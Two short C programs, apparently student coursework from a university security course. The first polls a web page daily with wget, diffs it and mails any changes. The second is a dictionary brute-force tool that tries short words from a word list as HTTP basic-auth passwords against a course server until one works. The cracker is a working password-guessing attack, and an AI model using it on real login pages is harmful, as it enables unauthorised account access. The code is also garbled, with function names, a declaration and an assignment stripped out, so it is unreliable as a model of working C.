# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}






#include <stdio.h>
#include <stdlib.h>
#include <time.h>


int ()

{
   int cntr=0;
   char get[96];
   char username[]="";
   char password[16];
   int R_VALUE;
   double time_used;
   clock_t , end;
  
   FILE* fp;
   fp = fopen("/usr/share/lib/dict/words","r");
     
    = clock();
  
       while ( fscanf(fp,"%s",&password) != EOF )
	   {
        
		  
		  if(strlen(password)>3) continue;
		   
		        cntr++;
                printf("%d          >> PASSWORD SEND : %s \n",cntr, password);
              
				sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
                
  
                R_VALUE=system(get);
          
	            if(R_VALUE==0)
				{
		         printf("The Password has been cracked and it is : %s" , password);
		         exit(0);
				}

	   }

	   
  end = clock();
  time_used = ((double) (end - )) / CLOCKS_PER_SEC;
  printf("time_used = %f\n", time_used);

}



